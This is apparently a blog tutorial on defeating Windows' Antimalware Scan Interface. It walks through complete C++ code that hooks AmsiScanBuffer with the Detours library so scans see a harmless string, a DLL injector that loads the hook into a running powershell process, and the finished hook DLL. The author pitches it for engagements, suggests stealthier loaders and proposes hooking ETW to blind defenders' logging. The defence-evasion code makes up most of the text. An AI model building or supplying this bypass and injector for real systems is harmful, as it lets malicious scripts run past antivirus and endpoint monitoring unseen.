Understanding and Bypassing AMSI

Disclaimer: This is probably already a public technique for bypassing AMSI but it's always fun to walk through the process start to finish; this can be adapted to overcome other security mechanisms such as ETW. I'd like to thank MDSec for prior research on AMSI that helped. As well as 0x09AL who created RdpTheif a tool that uses a similar technique.

Antimalware Scan Interface or AMSI for short, is Microsoft's answer to stopping dangerous script execution within windows. AMSI in theory is a great idea; analyze scripts as they're executing then block or allow depending on whether malicious content is found. However as we'll discuss later it has some fundamental implementation flaws. The final code for this project can be found here

AMSI in a picture

Here you can see AMSI blocks the string "Invoke-Mimikatz" although that string isn't in a malicious context here it's still detected. How does this work? Well Microsoft loads amsi.dll into every process created which exports a few functions for anti-viruses and EDRs to use, as well as Windows Defender.

Looking at the exports in amsi.dll. We can see a function that looks interesting, that being AmsiScanBuffer. Doing more research leads us to the msdn page for AmsiScanBuffer which contains lots of useful information about AMSI and the function.

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

In the last parameter to AmsiScanBuffer we see that there is a pointer to an enum called result. So by using the English language we can determine that we should read the result in order to get the outcome of AmsiScanBuffer. Whatever result contains will determine whether or not our script execution is malicious.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
};

In theory then if we can manipulate what result is (i.e. AMSI_RESULT_CLEAN). Then we should be able to hide malicious script execution from blue teams and EDRs.

So how do we do that?

Well AMSI is injected into a process that we, as the user, control and on top of that it's running in ring3 with no kernel driver to ensure amsi.dll isn't tampered with. So with that said let's explore a bypass method.

Function Hooking

Function hooking is a method of taking control of a function just before it's called. This allows us, as the attacker, to do multiple things such as: logging arguments; allowing/blocking execution of a function; overwriting arguments passed into the function; and deciding the value to be returned. With that in mind we need to figure out the best way for us to hook AmsiScanBuffer, Microsoft provides the detours library which is a library for function hooking that uses the trampoline hooking method.

Trampoline hooks work by, storing a copy of the target function, then overwriting the start of the target function with a jmp instruction this jump sends us in to our function that we as the attacker control, hence the name trampoline hook.

#include <iostream>
#include <Windows.h>
#include <detours.h>

static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;

int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
    return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0);
}

int main() {
    std::cout << "[+] Hooking MessageBox" << std::endl;
    
    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
    DetourTransactionCommit();

    std::cout << "[+] Message Box Hooked" << std::endl;

    MessageBox(NULL, L"My Message", L"My Caption", 0);

    std::cout << "[+] Unhooking MessageBox" << std::endl;

    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
    DetourTransactionCommit();

    std::cout << "[+] Message Box Unhooked" << std::endl;
}

The code snippet above shows how the detours library can be used in order to hook the MessageBox function and overwrite the users arguments. With this knowledge we are able to essentially take control over AmsiScanBuffer all aspects of the function. So now we'll need to setup a basic project that takes in a string then uses AmsiScanBuffer to scan the string for malicious content.

#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")

#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

const char* GetResultDescription(HRESULT hRes) {
    const char* description;
    switch (hRes)
    {
    case AMSI_RESULT_CLEAN:
        description = "AMSI_RESULT_CLEAN";
        break;
    case AMSI_RESULT_NOT_DETECTED:
        description = "AMSI_RESULT_NOT_DETECTED";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
        break;
    case AMSI_RESULT_DETECTED:
        description = "AMSI_RESULT_DETECTED";
        break;
    default:
        description = "";
        break;
    }
    return description; 
}

int main() {
    HAMSICONTEXT amsiContext;
    HRESULT hResult = S_OK;
    AMSI_RESULT res = AMSI_RESULT_CLEAN;
    HAMSISESSION hSession = nullptr;

    LPCWSTR fname = L"EICAR";
    BYTE* sample = (BYTE*)EICAR;
    ULONG size = strlen(EICAR);
    
    ZeroMemory(&amsiContext, sizeof(amsiContext));

    hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiInitialize Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiOpenSession(amsiContext, &hSession);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiOpenSession Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
        return hResult;
    }
    
    // Anything above 32767 is considered malicious
    std::cout << GetResultDescription(res) << std::endl;
}
Credit for parts of the code: https://github.com/atxsinn3r/amsiscanner/blob/master/amsiscanner.cpp
Output from running script with EICAR input

We now have a working base to test AmsiScanBuffer. This means that we can try local hooking by implementing something similar to what we used when hooking MessageBox. Let's try adding the following code.

#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <detours.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")

#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
#define SAFE "SafeString"

//Converts number given out by AmsiScanBuffer into a readable string
const char* GetResultDescription(HRESULT hRes) {
    const char* description;
    switch (hRes)
    {
    case AMSI_RESULT_CLEAN:
        description = "AMSI_RESULT_CLEAN";
        break;
    case AMSI_RESULT_NOT_DETECTED:
        description = "AMSI_RESULT_NOT_DETECTED";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
        break;
    case AMSI_RESULT_DETECTED:
        description = "AMSI_RESULT_DETECTED";
        break;
    default:
        description = "";
        break;
    }
    return description; 
}

//Store orignal version of AmsiScanBuffer
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext, 
                                                PVOID buffer, ULONG length, 
                                                LPCWSTR contentName, 
                                                HAMSISESSION amsiSession, 
                                                AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

//Sets up detours to hook our function
void HookAmsi() {
    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
    DetourTransactionCommit();
}

//Undoes the hooking we setup earlier
void UnhookAmsi() {
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
    DetourTransactionCommit();
}

int main() {
    //Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer
    HAMSICONTEXT amsiContext;
    HRESULT hResult = S_OK;
    AMSI_RESULT res = AMSI_RESULT_CLEAN;
    HAMSISESSION hSession = nullptr;

    //Declare test case to use
    LPCWSTR fname = L"EICAR";
    BYTE* sample = (BYTE*)EICAR;
    ULONG size = strlen(EICAR);

    std::cout << "[+] Hooking AmsiScanBuffer" << std::endl;
    HookAmsi();
    std::cout << "[+] AmsiScanBuffer Hooked" << std::endl;

    ZeroMemory(&amsiContext, sizeof(amsiContext));

    hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiInitialize Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiOpenSession(amsiContext, &hSession);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiOpenSession Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
        return hResult;
    }

    std::cout << GetResultDescription(res) << std::endl;

    std::cout << "[+] Unhooking AmsiScanBuffer" << std::endl;
    UnhookAmsi();
    std::cout << "[+] AmsiScanBuffer Unhooked" << std::endl;
}
Putting it all together we get this
As you can see replacing the value of the buffer to some safe stops AMSI from firing

Nice we have a working hook that replaces a dangerous string (the EICAR testing one) with a safe one. So now how do we stop AMSI from blocking our malicious powershell? The answer is code injection we need to get our code into the same process that AMSI is in to then hook the function and return a safe message.

DLL Injection

DLL (Dynamic Link Library) is a file format similar to PE/COFF however it's non executable, by its self, it needs a PE file to be loaded into at runtime, hence the name Dynamic Link Library. What we will do is create a basic injector that loads into powershell (Or insert program that uses AMSI here) with the DLL that we're going to create to hook AmsiScanBuffer.

The injector that we're going to write here isn't going to be very OPSEC safe so that's something you should look into if you want to use this for an engagement. I'd recommend creating a reflective DLL loader that uses manual mapping :). With that being said lets jump into the code. The full repository can be found here

Make sure you compile everything in 64 bit as well as in Release mode this will make sure it works when injected and save you hours of time :/
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

//Opens a handle to process then write to process with LoadLibraryA and execute thread
BOOL InjectDll(DWORD procID, char* dllName) {
    char fullDllName[MAX_PATH];
    LPVOID loadLibrary;
    LPVOID remoteString;

    if (procID == 0) {
        return FALSE;
    }

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
    if (hProc == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
    std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;

    loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
    CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);

    CloseHandle(hProc);
    return TRUE;
}

//Iterate all process until the name we're searching for matches
//Then return the process ID
DWORD GetProcIDByName(const char* procName) {
    HANDLE hSnap;
    BOOL done;
    PROCESSENTRY32 procEntry;
    
    ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
    procEntry.dwSize = sizeof(PROCESSENTRY32);

    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    done = Process32First(hSnap, &procEntry);
    do {
        if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) {
            return procEntry.th32ProcessID;
        }
    } while (Process32Next(hSnap, &procEntry));
    
    return 0;
}

int main(int argc, char** argv)
{
    const char* processName = argv[1];
    char* dllName = argv[2];
    DWORD procID = GetProcIDByName(processName);
    std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
    if (InjectDll(procID, dllName)) {
        std::cout << "DLL now injected!" << std::endl;
    } else {
        std::cout << "DLL couldn't be injected" << std::endl;
    }
}
output of the injector

Brilliant now we have a working injector so all we have to do is convert our executable from earlier into a dll. The main changes we'll have to do is create a DllMain (note: it's much easier to create a new dll project so VS sets everything up for you, also add detours through NuGet makes life easier :D).

#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString"

static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {

    std::cout << "[+] AmsiScanBuffer called" << std::endl;
    std::cout << "[+] Buffer " << buffer << std::endl;
    std::cout << "[+] Buffer Length " << length << std::endl;
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }

    if (dwReason == DLL_PROCESS_ATTACH) {
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);

        DetourRestoreAfterWith();
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());

        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();

    } else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}

So what we're doing here is creating a dll that allocates a console that can be written to, in order to debug. Then we detour AmsiScanBuffer, our version logs some info to make it clear that we've jumped to our code and not straight to the actual AMSI code. Also it's interesting to see the arguments being passed in. We use the same bypass as earlier just passing in a safe string so AMSI doesn't flag the real string.

If we use a debugger we can actually go in and see what the detours library is doing when disassembling the first few instructions of AmsiScanBuffer. Before we inject we get the following.

Pre Injection Disassembly

Then after injection we now have a jump instruction which if you step break on and step through you'll set that it resolves to our fake AmsiScanBuffer.

Post Injection Disassembly
Output after injecting dll into powershell

Looks like we've got a working bypass! So now we're able to input any malicious script into powershell. This project is just a base. You can expand on this a fair amount to hook all sorts of things. A good example would be EtwEventWrite to hinder blue teams logging capabilities. Going further I may look at some of the IOCs this bypass creates and how we can get subvert detection by taking a more stealthy approach.